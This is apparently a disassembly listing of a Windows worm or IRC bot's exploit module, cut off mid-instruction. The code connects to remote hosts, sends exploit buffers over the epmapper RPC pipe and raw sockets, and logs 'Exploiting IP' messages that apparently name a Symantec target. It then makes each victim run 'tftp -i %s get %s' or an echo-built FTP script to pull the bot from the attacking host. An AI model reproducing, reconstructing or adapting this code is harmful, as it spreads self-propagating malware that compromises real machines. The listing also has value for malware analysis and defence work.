cmp al, 0FFh jz short loc_40D99C dec al mov [ecx], al jmp short loc_40D9A3 ; --------------------------------------------------------------------------- loc_40D99C: ; CODE XREF: sub_40D977+19j ; sub_40D977+1Dj push ecx call sub_41D65F pop ecx loc_40D9A3: ; CODE XREF: sub_40D977+8j ; sub_40D977+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D977 endp ; =============== S U B R O U T I N E ======================================= sub_40D9B3 proc near ; CODE XREF: ___:0040D6D3p ; sub_40DB0C+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D8F2 test al, al jz short loc_40D9E1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D9E1: ; CODE XREF: sub_40D9B3+12j mov eax, esi pop edi pop esi retn 8 sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D9E8 proc near ; CODE XREF: sub_40D824+39p ; sub_40D824+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D9FB call sub_426173 loc_40D9FB: ; CODE XREF: sub_40D9E8+Cj mov ecx, edi call sub_40DB0C mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40DA11 mov ebx, eax loc_40DA11: ; CODE XREF: sub_40D9E8+25j test ebx, ebx jbe short loc_40DA47 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41D670 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D8F2 test al, al jz short loc_40DA47 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40DA47: ; CODE XREF: sub_40D9E8+2Bj ; sub_40D9E8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D9E8 endp ; =============== S U B R O U T I N E ======================================= sub_40DA4F proc near ; CODE XREF: sub_40D8F2+79p mov eax, offset loc_426AD0 call sub_41D640 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40DA75 mov edi, [ebp+8] loc_40DA75: ; CODE XREF: sub_40DA4F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40DA82 xor eax, eax loc_40DA82: ; CODE XREF: sub_40DA4F+2Fj push eax call sub_41D9A5 pop ecx mov [ebp+8], eax jmp short loc_40DAB3 ; --------------------------------------------------------------------------- loc_40DA8E: ; DATA XREF: ___:00427F84o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40DA9D xor eax, eax loc_40DA9D: ; CODE XREF: sub_40DA4F+4Aj push eax call sub_41D9A5 mov [ebp+8], eax pop ecx mov eax, offset loc_40DAAD retn ; --------------------------------------------------------------------------- loc_40DAAD: ; DATA XREF: sub_40DA4F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40DAB3: ; CODE XREF: sub_40DA4F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40DAD1 cmp eax, edi jbe short loc_40DAC0 mov eax, edi loc_40DAC0: ; CODE XREF: sub_40DA4F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41CD20 add esp, 0Ch loc_40DAD1: ; CODE XREF: sub_40DA4F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D977 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40DAF1 mov edi, ebx loc_40DAF1: ; CODE XREF: sub_40DA4F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40DA4F endp ; =============== S U B R O U T I N E ======================================= sub_40DB0C proc near ; CODE XREF: sub_40D9E8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40DB39 mov al, [esi-1] test al, al jz short loc_40DB39 cmp al, 0FFh jz short loc_40DB39 push 1 call sub_40D977 push esi call sub_41B9C0 pop ecx push eax push esi mov ecx, edi call sub_40D9B3 loc_40DB39: ; CODE XREF: sub_40DB0C+9j ; sub_40DB0C+10j ... pop edi pop esi retn sub_40DB0C endp ; =============== S U B R O U T I N E ======================================= sub_40DB3C proc near ; DATA XREF: ___:00429008o test byte_4DC018, 1 jnz short loc_40DB4C or byte_4DC018, 1 loc_40DB4C: ; CODE XREF: sub_40DB3C+7j jmp $+5 push offset nullsub_1 call sub_41DA20 pop ecx retn sub_40DB3C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB5E proc near ; CODE XREF: ___:0040DF74p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset off_432940 lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43DB88 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi nop call near ptr 2720000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_4CE6F4 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_4CBA74 cmp eax, 5 mov ebx, 4C3h jz short loc_40DC22 cmp eax, ebx jnz short loc_40DC2C loc_40DC22: ; CODE XREF: sub_40DB5E+BEj push edi push edi push edi push esi call dword_4CBA74 loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j cmp eax, 5 jz short loc_40DC3A cmp eax, ebx jz short loc_40DC3A push 1 pop eax jmp short loc_40DC3C ; --------------------------------------------------------------------------- loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j ; sub_40DB5E+D5j xor eax, eax loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj pop edi pop esi pop ebx leave retn sub_40DB5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC41 proc near ; CODE XREF: ___:0040DFC6p ; ___:0040E0A6p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset off_432940 lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43DB88 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi nop call near ptr 2720000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 add esp, 10h loc_40DCD2: ; CODE XREF: sub_40DC41+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_4CB90C test eax, eax jz short loc_40DCF2 push 7D0h nop call near ptr 26A068Bh jmp short loc_40DCD2 ; --------------------------------------------------------------------------- loc_40DCF2: ; CODE XREF: sub_40DC41+A2j push 1 pop eax pop edi pop esi leave retn sub_40DC41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCF9 proc near ; CODE XREF: ___:0040DFF5p ; ___:0040E133p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_41C500 push esi push edi push offset byte_429108 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_40B22B mov edi, eax add esp, 10h test edi, edi jz loc_40DF48 push ebx mov ebx, offset off_43285C push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_41CD20 add esp, 24h lea esi, [edi+0D7h] loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40DDCE mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_41CD20 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_40DD7E ; --------------------------------------------------------------------------- loc_40DDCE: ; CODE XREF: sub_40DCF9+90j cmp [ebp+arg_C4], 0 jz short loc_40DDE9 cmp [ebp+arg_C0], 3 jz short loc_40DDF2 cmp [ebp+arg_C0], 0 jmp short loc_40DDF0 ; --------------------------------------------------------------------------- loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj cmp [ebp+arg_C0], 3 loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj jnz short loc_40DDFB loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j push 4 push offset dword_43293C jmp short loc_40DE02 ; --------------------------------------------------------------------------- loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j push 4 push offset dword_432938 loc_40DE02: ; CODE XREF: sub_40DCF9+100j lea eax, [ebp+var_1FE0] push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_432470 push eax call sub_41CD20 push 10h lea eax, [ebp+var_CA4] push offset dword_4327D4 push eax call sub_41CD20 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_41CD20 lea edi, [esi+370h] push 3Ch push offset off_4327E8 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 add edi, 3Ch push 30h push offset dword_432828 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_41BEB5 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_41BF70 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_41CD20 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej pop edi pop esi leave retn sub_40DCF9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1338h call sub_41C500 cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40E0BA lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40DB5E pop ecx test eax, eax pop ecx jz loc_40E1CA lea eax, [ebp+0Ch] push eax lea eax, [ebp-338h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_41C266 add esp, 0Ch xor ebx, ebx lea eax, [ebp-338h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax nop call near ptr 27506FCh cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DFD1 loc_40DFC2: ; CODE XREF: ___:0040E072j lea eax, [ebp+0Ch] push eax call sub_40DC41 pop ecx jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40DFD1: ; CODE XREF: ___:0040DFC0j lea eax, [ebp+0Ch] push 2 push eax call sub_4182CD pop ecx lea esi, [ebp+8] pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40E069 mov edi, 186A0h push edi call sub_41BEB5 mov esi, eax push edi push ebx push esi call sub_41BF70 add esp, 10h lea eax, [ebp-0Ch] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_432424 push dword ptr [ebp-4] nop call near ptr 2750000h cmp byte ptr [esi+2], 0Ch jnz short loc_40E059 lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] nop call near ptr 2740000h test eax, eax jnz short loc_40E077 loc_40E059: ; CODE XREF: ___:0040E03Fj push esi call sub_41BA91 push dword ptr [ebp-8] call sub_41BA91 pop ecx pop ecx loc_40E069: ; CODE XREF: ___:0040E005j push dword ptr [ebp-4] call near ptr 26808BBh nop jmp loc_40DFC2 ; --------------------------------------------------------------------------- loc_40E077: ; CODE XREF: ___:0040E057j lea eax, [ebp-0Ch] push ebx push eax push edi push esi push dword ptr [ebp-4] nop call near ptr 2730000h push dword ptr [ebp-8] mov edi, eax call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx push dword ptr [ebp-4] nop call near ptr 26808BBh lea eax, [ebp+0Ch] push eax call sub_40DC41 cmp edi, 1 pop ecx jnz loc_40E1DE jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40E0BA: ; CODE XREF: ___:0040DF66j lea eax, [ebp+0Ch] push 1 push eax call sub_4182CD mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40E1CA xor ebx, ebx push ebx push 1 push 2 call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40E1CA push 10h lea eax, [ebp-24h] push ebx push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp+0A8h] call dword_4CB9D4 mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 mov [ebp-20h], eax push ebx lea eax, [ebp-0Ch] push esi push eax lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40E14C push dword ptr [ebp-4] jmp short loc_40E1C4 ; --------------------------------------------------------------------------- loc_40E14C: ; CODE XREF: ___:0040E145j mov edi, [ebp-4] lea eax, [ebp-24h] push 10h push eax push edi call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_40E164 loc_40E161: ; CODE XREF: ___:0040E176j push esi jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E164: ; CODE XREF: ___:0040E15Fj push ebx push 48h push offset dword_432424 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E161 mov esi, 1000h push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E1A5 push dword ptr [ebp-8] jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E1A5: ; CODE XREF: ___:0040E19Ej push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC push dword ptr [ebp-8] cmp eax, 0FFFFFFFFh jnz short loc_40E1D1 loc_40E1BD: ; CODE XREF: ___:0040E162j ; ___:0040E1A3j call sub_41BA91 pop ecx push edi loc_40E1C4: ; CODE XREF: ___:0040E14Aj call dword_4CBA6C loc_40E1CA: ; CODE XREF: ___:0040DF7Dj ; ___:0040DFCCj ... xor eax, eax jmp loc_40E28D ; --------------------------------------------------------------------------- loc_40E1D1: ; CODE XREF: ___:0040E1BBj call sub_41BA91 pop ecx push edi call dword_4CBA6C loc_40E1DE: ; CODE XREF: ___:0040E0AFj lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_41C266 add esp, 0Ch xor esi, esi loc_40E1F8: ; CODE XREF: ___:0040E218j lea eax, [ebp-234h] push eax call sub_415E19 test eax, eax pop ecx jnz short loc_40E21C push 1388h call near ptr 26A068Bh nop inc esi cmp esi, 6 jl short loc_40E1F8 jmp short loc_40E28A ; --------------------------------------------------------------------------- loc_40E21C: ; CODE XREF: ___:0040E207j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax lea eax, [ebp-234h] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_41C266 add esp, 10h cmp [ebp+0BCh], ebx jnz short loc_40E268 push ebx lea eax, [ebp-234h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 add esp, 14h loc_40E268: ; CODE XREF: ___:0040E249j lea eax, [ebp-234h] push eax call sub_415D38 mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E28A: ; CODE XREF: ___:0040E21Aj push 1 pop eax loc_40E28D: ; CODE XREF: ___:0040E1CCj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4CBA14 mov [ebp+var_C], eax mov ax, word_433290 push eax call dword_4CB9D4 push esi push 1 push 2 mov [ebp+var_E], ax call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E3CA lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40E3CA push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC mov edi, offset byte_429108 push edi push edi push [ebp+arg_0] call sub_40AA06 pop ecx mov esi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 18h push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E3CA push 1F4h call near ptr 26A068Bh nop push edi push offset dword_42A2E8 lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E3CE loc_40E3CA: ; CODE XREF: sub_40E292+51j ; sub_40E292+67j ... xor al, al jmp short loc_40E3EC ; --------------------------------------------------------------------------- loc_40E3CE: ; CODE XREF: sub_40E292+136j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC push ebx call dword_4CBA6C mov al, 1 loc_40E3EC: ; CODE XREF: sub_40E292+13Aj pop edi pop esi pop ebx leave retn sub_40E292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3F1 proc near ; CODE XREF: ___:0040E946p ; ___:0040E968p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_41C500 mov eax, dword_43341C push ebx mov [ebp+var_10], eax mov eax, dword_433420 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_433410 push eax call sub_41C266 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_40E430: ; CODE XREF: sub_40E3F1+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40E430 push 60h lea eax, [ebp+var_B4] push offset dword_432EA0 push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_41CD20 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_0+3) push eax call sub_41B9C0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_41CD20 mov ax, word_433290 add esp, 2Ch push eax call dword_4CB9D4 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_432BA0 call sub_41CD20 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_40E5ED mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_41BF70 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4332D0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_41CD20 mov esi, offset loc_432AF0 push esi call sub_41B9C0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_41CD20 push 4 lea eax, [ebp+var_11AC] push offset loc_433408 push eax call sub_41CD20 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_41CD20 add esp, 40h push esi call sub_41B9C0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_41CD20 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_40E5A6 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_41BF70 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_41BF70 add esp, 18h jmp short loc_40E644 ; --------------------------------------------------------------------------- loc_40E5ED: ; CODE XREF: sub_40E3F1+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_41BF70 mov esi, offset loc_432AF0 push esi call sub_41B9C0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_41CD20 lea eax, [ebp+var_10] push eax call sub_41B9C0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_41CD20 mov eax, dword_4332D0 add esp, 2Ch mov [ebp+var_768], eax loc_40E644: ; CODE XREF: sub_40E3F1+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_41BF70 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E683 loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j ; sub_40E3F1+2E0j ... xor al, al jmp loc_40E82B ; --------------------------------------------------------------------------- loc_40E683: ; CODE XREF: sub_40E3F1+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 68h push offset dword_432F04 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 0A0h push offset dword_432F70 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC cmp [ebp+arg_C0], ebx jz loc_40E799 push 68h lea eax, [ebp+var_89B4] push offset dword_433128 push eax call sub_41CD20 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_41CD20 push 70h lea eax, [ebp+var_68DC] push offset dword_433194 push eax call sub_41CD20 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_41CD20 push 84h lea eax, [ebp+var_5DA8] push offset dword_433208 push eax call sub_41CD20 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_40E7EF ; --------------------------------------------------------------------------- loc_40E799: ; CODE XREF: sub_40E3F1+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_433014 push eax call sub_41CD20 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_41CD20 push 90h lea eax, [ebp+var_245C] push offset off_433094 push eax call sub_41CD20 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_40E67C push 12Ch nop call near ptr 26A068Bh sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E292 add esp, 0BCh test al, al setnz al loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj pop edi pop esi pop ebx leave retn sub_40E3F1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_41BF70 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_4CB9D4 push 6 push 1 push 2 mov [ebp-12h], ax call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E929 lea eax, [ebp-14h] push 